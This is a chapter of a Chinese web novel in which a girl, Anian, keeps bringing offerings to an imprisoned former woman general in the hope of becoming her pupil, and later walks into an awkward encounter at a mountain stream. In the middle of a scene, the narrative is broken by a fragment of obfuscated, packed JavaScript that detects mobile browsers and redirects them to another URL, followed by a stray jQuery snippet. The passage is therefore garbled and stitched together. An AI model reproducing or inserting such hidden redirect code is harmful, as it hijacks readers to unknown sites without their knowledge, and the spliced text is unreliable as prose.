堵住出口的铁山略微动弹了下，光亮空隙灰尘飞扬。


    阿念瞧不清对方的表情。什么都是黑黢黢的，她顾忌着上次受的伤，不能离太近，只伏在地上，用布子垫着饼，一点点推过去。


    哪知还差一丈半的时候，那人猛地探头钻进来，拳风堪堪擦过阿念面庞。阿念退得快，手脚并用往后躲了几步，只见那舍不得吃的饼子已被砸成齑粉。


    碎渣子溅到脸上，不疼，但心痛。


    “你你你能进来，你为什么不自己逃出去！”阿念稳住身形，惊吓中口不择言，“这院子哪里锁得住你！怕是你闯出季家去，都无人能阻！”


    喊完又有些后悔，万一桑娘怒不可遏冲过来杀人怎么办。


    但桑娘砸碎了饼子就又退回去了，眼风也没给阿念半个。


    阿念只能揣测这人不需要食物。也对，若桑娘短于吃喝，如今的身骨怎会强壮可怖。季家人关着她，却也还养着她，怎么个养法不清楚，阿念猜不出这深宅大院里的弯弯绕绕。


    眼下没有办法，阿念只好从袖间摸出个紫玉步摇，再次推给桑娘。


    “这个你喜不喜欢？应当很贵。”


    咚，又一记铁拳，紫玉步摇尸骨无存。


    这玩意儿拿出去卖肯定能卖许多钱！就这么没了！


    阿念感觉心在滴血。她捏了捏腰间藏的小布包，终究没把嫣娘遗留的零碎拿出来。甬道内充斥着枯草泥土的腐烂味道，什么都是黑咕隆咚的，阿念一时难过，干脆靠着墙壁坐起来，胳膊抱着腿，将下巴搁到膝盖上。


    如此，便是自己抱着自己，安安稳稳的，拢作一团。


    “我再没有别的东西了。”阿念说，“我自己再没有什么了。你不愿出去，我想出去。你这般厉害，如果能教教我就好了，教我怎么跟人打架，怎么才能不被人看轻。你……你不是做过将军么？多厉害啊。”


    在遇见桑娘之前，阿念都不知道，世间的女子还能成为将军。


    宫城的禁卫是男子，宦官是缺了物件的男子，逃出建康后，一路见到的官兵也是男子。过水门时惊险异常，她只能匍匐在阴暗的篷布里，那时岸上有个策马张弓的少年郎，真真意气风发，光彩照人，敢把军官的怒喝踩在马蹄子底下。


    “裴怀洲说，奴婢只能趴在泥地里。我不信他。”阿念有一搭没一搭地说话，“书上说，女子需嫁人，要三从四德，我也不信它。你当初能上战场，自然是不信那些歪理的，对么？”


    声音落在阴暗甬道里，没人捡起来。


    阿念权当自言自语。


    她无法将这些话讲给其他人听，也无法寻求其他人的帮助。在这吴县，抑或这纷乱的世间，她只寻见了桑娘这个希望。哪怕这希望被囚禁在四四方方的小院子里，头顶是缀满了刀片的网，院门是封死了的铁。可这里毕竟有个甬道，能让阿念见着桑娘，哪怕桑娘不愿意出去，这甬道也理应成为阿念的机会。


    “我真的没有别的东西了。我听说，拜师学艺要交束脩，你今日不收我的东西，赶明儿我有了好的，再带过来。”


    阿念起身，对着桑娘端端正正叩了三个头。


    她料想桑娘不是全然的疯子。故而来桑娘这里求个机缘。但就算桑娘是疯子，她也想试一试。


    她没有别的路可走了。


    再次赶回家塾，正巧遇上散学时候。各房的郎君三三俩俩说笑出来，阿念等了又等，没等到季随春，反倒险些被人摸了脸。那管不住手的郎君唤作季应衡，是四房次子，族中排行十一的。被阿念这么一躲，他脸皮挂不住，登时发起怒来。


    “不过想试试你这贱婢有何本事，你却拿乔装相，真当自己是裴七的人了？”


    季应衡骂着，身后两个书童挤眉弄眼地笑。阿念认得他们，前几日，他们在路上扔石子砸她，被她追得屁滚尿流。


    “阿念无甚本事。”她垂了脑袋，手指捏紧袖口，“也不是裴七郎君的人。十一郎君说笑了。”


    季应衡仍然不忿，见阿念低眉静默地站着，似乎也有几分意趣，便再次探出手来，想摸摸她被霞光烘红的脸腮。怎料横里伸出来条木拐，正正打在他手背。


    啪。


    力道不大，声音不小。


    阿念微微抬头，瞥见了举着木拐的季随春。季随春应当是急匆匆赶出来的，胸口起伏不停，冷玉面庞泛着潮红。


    “兄长莫要与她计较。她原是乡野丫头，不懂规矩，不晓得季家这样的大户人家要恪守礼法，尊卑有序。我替阿念向兄长赔个不是。”


    话说得谦卑，语气却不怎么恭敬。


    “季家向来家风宽厚，想必兄长不会苛责于她。”季随春拉过阿念，“我身体不适，先让阿念扶我回去了。”


    季应衡深深喘了几口气，压下愤怒，拂袖而去：“谁是你兄长！听得我耳朵脏！”


    各房子嗣，无论男女，出身都算体面。大房夫人姓顾，当年可是吴郡顾氏最宠爱的千金。二房夫人姓裴，正是裴怀洲的姑母。也因着这层关系，裴怀洲与季家来往频繁。四房夫人也是当地有名有姓的人家。三房……三房无所出，且主母容不得家里进人，故而季三老爷从使宁县接季随春时，闹腾了好一阵子。


    吴郡多士族，许多高门望族便讲究夫妻和睦的名声，娶妻不纳妾。一是士族联姻避免引发妻族不满，一是夫妻相伴可被誉为超脱物欲的美谈。


    季家并非书香世家，倒不崇尚什么风雅美谈，除了三房均有妾室。三房么，纯粹是三夫人出身好，人又厉害，三老爷不敢收人，便在外头偷吃。如今弄出个柳巷的孩子来，谁都不满意，谁都瞧不起。


    阿念扶住摇晃的季随春。她注意到他袖口滚落墨汁，袍角也印着几个脚印。


    家塾念书应当很辛苦。


    “我被先生留下来背书。”季随春解释，“出来晚了，你还好么？”


    阿念摇头，边走边问：“背书如何？”


    “都背下来了。先生还问我许多难题。”


    “答上来了么？”


    “没有。”


    季随春停顿了下，小声补充道，“其实也不算难，但我这个年纪，不应该答得上来。”


    阿念噢了一声。她隐约晓得季随春是有本事的，在宫里的时候就经常扮侍从书童到处跑，不知在做些什么。如今经历种种困难，始终头脑清醒不慌不乱，有种超脱年纪的早慧。


    最难得的是他能忍。能忍，就能成大事。


    可季随春的大事，不等同于阿念的大事。况且眼下还有许多年要熬，阿念不知道自己熬不熬得过。


    晚间没有看病先生来。她早早睡了，次日早饭配了果子，是之前在裴怀洲车上吃到的小红果。阿念揣了两个又去找桑娘，于是舍不得吃的小红果成了果泥。


    第三日，散学时分，几房书童给季随春使绊子，不知怎的反倒起了内讧，争吵间推到了郎君。一时间鸡飞狗跳笔墨纸砚满天飞，阿念趁机摸了卷书并一方砚台。再去见桑娘的时候，就把这些东西献宝似的推过去。


    书册被撕了个稀巴烂，砚台飞过来，险些砸中阿念脑门。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444731|183411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她又惊又气，抱住砚台往回跑，边跑边嚷：“你这么大脾气，你怎么不出去打你夫君？”


    嚷嚷完又后悔，探进个脑袋问：“你到底要收怎样的束脩？你告诉我，我去偷去抢，好过做无用功。”


    桑娘根本没理她。


    阿念只好怏怏地打道回府。夜里痛定思痛，觉得不该操之过急，先得把身子养好了，养得强壮些，再拜师学艺。她摸着自己的伤疤思量彻底痊愈的日子，季随春在外面端详那个翘边的砚台。


    “阿念，你是不是把二房季应玉的砚台拿回来啦？这上面有他最喜欢的莲花纹。”


    二房季应玉，年方八岁，是个娇气小郎君。


    阿念开口：“没写名儿你就用。”


    她知道这是好东西，可惜不对桑娘的口味。或许下次搞把长缨枪来，桑娘就喜欢了呢？


    阿念默默思索。


    外头的季随春也默默收了砚台，藏在书案底下。


    日子便这么一天天地过去。季随春的腿逐渐好转，不架木拐也能慢慢地走路。而阿念身上的伤褪了疤，露出粉色的新肉来。他们还是吃不饱，每逢露面，遇见季家的人，总有些磕磕绊绊的麻烦。但日子总归在往好的方向走。


    阿念跟看病先生磨了好多天，借来一本导引图，据说能疏通筋骨强身健体。季随春见她热衷此事，也特意去藏书阁翻来黄帝内经，一张张临摹了跟她一起学。


    阿念看不懂书上艰涩符文，季随春便又借到老庄二书，教她从养气守静读起。


    入秋时节，吴县的世家子弟们相约去云山打猎。这大概是往年的定例，各家女眷也兴师动众出行，到云山山腰处的道观里上香听经。一路上热闹聒噪，光是贵女们车辇的排场就让阿念看花了眼。每每抬眸望去，隔着帐子纱帘，那些年纪相仿的少女们都如锦绣珠玉堆成的宝物，影影绰绰却又光彩照人。


    季随春年幼，本不该参加打猎。但各房兄长非要带他去后山。后山围了猎场，阿念遥遥望见策马笑语的裴怀洲，立即心情下沉。


    “你去那边乘凉。”季随春也瞧见了人群中的裴怀洲，暗自叮嘱阿念，“看见那块大石头了么？我方才上来的时候留意到，那边有溪水，有石滩，算个宁静去处。”


    他要阿念去躲清净。等天黑了，再过来寻他。


    阿念有些不放心：“你一个人没事么？”


    “没事的。”季随春握了握阿念的手，郑重且认真，“裴怀洲总爱拿你取乐，不能让他看到你。”


    阿念便沿着山路往下走。绕过季随春指的那块大石头，发现一条蜿蜒小径。走着走着，果然见到潺潺溪水流过石滩，周围是峭壁绿藤，鸟雀时起时落。


    她在绿藤下面挑了个平坦坐处。略倾斜的石面，被日光晒得暖烘烘的，挨着屁股也舒服。


    四下无人，阿念干脆放松四肢，懒洋洋地坐着，解开小衫晾晾胸前后背的汗。裙子也撩到膝盖上来，让两条腿吹吹山风。


    哗啦——


    不远处溪水骤响，赤身的青年自水中钻出来，抹了把湿淋淋的脸。他捏着一条扑腾乱跳的鱼，转身上岸，左腿刚踩着石子，右腿便不动了。


    维持着这个大跨步的姿势，与衣衫不整的阿念面面厮觑。


    “啊……”


    阿念嘴里挤出个干涩单音。


    她的视线停驻在他脸上。青年的眉眼湿润得像新磨的墨。水珠子顺着脸颊滑进丰润的唇，他抿了抿，脖颈间凸起的喉结便也滑动了下。那些要掉不掉的水滴随即淌过锁骨，顺着胸膛滚落结实腹部。